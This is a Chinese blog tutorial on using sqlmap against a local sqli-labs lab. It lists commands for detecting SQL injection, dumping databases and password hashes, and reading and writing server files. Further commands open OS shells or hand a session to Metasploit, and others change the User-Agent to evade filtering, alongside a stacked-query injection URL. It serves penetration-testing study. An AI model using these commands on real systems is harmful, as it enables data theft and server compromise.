使用SQLMAP自动化探测SQL注入

使用SQLMAP自动化探测SQL注入


实验环境

  • sqlmap
  • 火狐浏览器
  • sqli-labs 环境
  • kali-2021.1

0x01 SQLMAP介绍

1.SQLMAP 简介

sqlmap是一款用来检测与利用 sql 注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹,访问底层文件系统,执行命令)。

官方网站下载 http://sqlmap.org/

2.sqlmap支持的注入类型

sqlmap 支持 5 种漏洞检测类型:

  1. 基于布尔时间的盲注检测:即可以根据返回页面判断条件真假的注入
  2. 基于时间的盲注检测:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
  3. 基于错误的检测:即页面会返回错误信息,或者把注入的语句结果直接返回在页面中
  4. 基于union 联合查询的检测:可以使用 union 的情况下的注入
  5. 基于堆叠查询的检测:即执行多条 SQL 语句构造的注入

扩展:堆叠查询注入 Less-38

http://192.168.37.143/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values('88','fzl','fengzilin') --+

使用; 分号来直接添加一条新的SQL语句来进行执行就是堆叠查询注入

image-20210321151943513

3.检查kali 系统中的 SQLmap 的版本信息

运行sqlmap

┌──(root💀fengzilin55)-[~]
└─# sqlmap

image-20210321152428621

0x02 SQLMAP 常用探测方式

0.常用参数

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump --start 1 --stop 100  #爆出数据库security中的users表中的username列中的前100条数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-pwn   #执行--os-pwn命令,将目标权限弹到MSF上

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql 
其他数据库:Altibase,Apache Derby, CrateDB, Cubrid, Firebird, FrontBase, H2, HSQLDB, IBM DB2, Informix, InterSystems Cache, Mckoi, Microsoft Access, Microsoft SQL Server, MimerSQL, MonetDB, MySQL, Oracle, PostgreSQL, Presto, SAP MaxDB, SQLite, Sybase, Vertica, eXtremeDB
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
当爆破HTTPS网站会出现超时的话,可以使用参数 --delay=3 --force-ssl
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
  B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

sqlmap -d "mysql://root:root@192.168.10.130:3306/mysql" --os-shell   #知道网站的账号密码直接连接

-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段

--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数

1.探测单个目标

选项:-u 或者 --url

针对单个URL进行SQL注入探测

┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1"

image-20210321152854792

提示探测到后端数据库为 MySQL 询问我们是否跳过对于其他数据库的测试,选择y跳过

image-20210321152926075

对于剩余的测试,你想要包括所有针对 “MySQL” 扩展提空的级别(1)和风险(1)值的测试吗? 输入N

image-20210321152954326

探测到 ID 参数是脆弱的,提示我们是否需要测试其他项,选择 y

2.探测多个目标

新建一个文本插入 3 条 URL 地址

┌──(root💀fengzilin55)-[~]
└─# vim fengzilin.txt  
http://192.168.37.143/sqli-labs/Less-1/?id=1
http://192.168.37.143/sqli-labs/Less-2/?id=1
http://192.168.37.143/sqli-labs/Less-3/?id=1

运行 sqlmap

┌──(root💀fengzilin55)-[~]
└─# sqlmap -m fengzilin.txt --dbs --users  
-m      #指定文件进行探测
--dbs   #探测可用数据库名称 
--users #探测数据库用户名称

image-20210322085600701

探测过程中会提示我们是否探测目标 URL

image-20210322092837278

提示我们是否利用 SQL 注入回车确认

image-20210322090009717

因为我们3条 URL 都是用的同一个 MySQL 数据库,所以探测结果是相同的

无交互,使用默认方式进行探测

┌──(root💀fengzilin55)-[~]
└─# sqlmap -m fengzilin.txt --dbs --users --batch
--batch #参数可以在探测过程中不使用交互信息来询问我们是否继续探测,一切使用默认配置

3.从文件加载HTTP 请求进行探测

-r 用来指定 HTTP 请求文件

1)首先打开 burpsuite,关闭 intercept 功能

2)打开浏览器器,访问 http://192.168.37.143/sqli-labs/Less-20/ 并在 username 输入 admin ,passwd 输入 admin 并提交

image-20210322094304322

image-20210322100309932

回到 burpsuite 开启拦截获取一个 HTTP 请求

image-20210322100412251

回到浏览器,刷新页面

image-20210322100444159

注:我们需要抓取登录以后存在 cookie 的 HTTP 请求

image-20210322100543729

┌──(root💀fengzilin55)-[~]
└─# vim cookie.txt 
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 192.168.37.143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.37.143/sqli-labs/Less-20/index.php
Connection: close
Cookie: uname=admin*       #注:需要在注入点添加 * 号,方便SQLmap查找
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
┌──(root💀fengzilin55)-[~]
└─# sqlmap -r cookie.txt --level 3 --batch --dbs     

--level 检测级别,取值( 1 5 默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数,当 level大于等于 2 时会测试 cookie 参数,当 level 大于等于 3 时会测试 User Agent 和 Referer ,当 l evel=5时会测试 H ost 头

image-20210322101248634

4.从burpsuite 日志记录中进行探测

burpsuite 开启日志记录

image-20210322102555965

浏览器中访问几个页面进行测试

http://192.168.37.143/sqli-labs/Less-1/
http://192.168.37.143/sqli-labs/Less-2/
http://192.168.37.143/sqli-labs/Less-3/
http://192.168.37.143/sqli-labs/Less-4/

全部点击放行

image-20210322102745719

┌──(root💀fengzilin55)-[~]
└─# cat burpsuite.txt  

image-20210322103250707

┌──(root💀fengzilin55)-[~]
└─# sqlmap -l burpsuite.txt -leve 3 --dbs --batch 

image-20210322105023680

5.检测 SQL 注入存在的漏洞类型

参数解释

--technique=TECH    SQL injection techniques to use (default "BEUSTQ") 
--technique 
B: Boolean-based blind(布尔盲注) 
E: Error-based(报错注入) 
U: Union query-based(联合查询注入) 
S: Stacked queries(文件系统,操作系统,注册表相关注入) 
T: Time-based blind(时间盲注) 
默认全部使用 
注:当使用 sqlmap 要读取目标系统上文件,或对目标系统进行指令的操作,或者对读取目标系统注册表(windows)的话,需要使用 S。

image-20210322111201290

5.1 指定使用布尔型探测
┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" --technique=B --batch 

image-20210322111506565

可以看到探测使用的 payload 是布尔型

6.枚举数据库信息

--dbs       #枚举数据库名称
--tables    #枚举表名称
--columns   #枚举字段名称
6.1 获取数据库名称
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" --dbs --batch

image-20210322111738972

6.2 获取表名称
┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" -D security --tables --batch  
-D   #指定数据库进行枚举表名称

image-20210322112002996

6.3 获取字段

获取 security 数据库中的 users 表中的字段名称

┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" -D security -T users --columns --batch 
-T #指定表进行枚举字段名称

image-20210322112359085

获取 security 数据库中所有表的字段名称

┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" -D security --columns --batch

image-20210322112701955

6.4 获取字段数据
┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" --dump -D security -T users -C "username,password"
--dump  #转存获取到的数据库信息
-C      #指定字段

image-20210322113131146

0x03 SQLMAP 请求参数

1.默认的请求参数

打开wireshark 关闭混杂模式进行抓包,过滤器:ip.addr == 192.168.37.143

image-20210322113638030

执行探测任务

┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" --batch 

执行完成后停止抓包

image-20210322113922229

可以看到默认 User-Agent为 :sqlmap/1.5.2#stable (http://sqlmap.org)\rin

SQLMAP 的特征非常明显,网站管理员可以通过这些明显的特征对我们的访问进行过滤

2.修改默认请求参数

2.1 手动指定请求参数

重新开始抓包

┌──(root💀fengzilin55)-[~]
└─# sqlmap -u "http://192.168.37.143/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101" --batch

image-20210322114359850

总结

本章学习了 SQLMAP的使用方法,能简化,手工注入,实现了节约时间,但是自动化还是存在缺陷,要不断的完善

  • 3
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值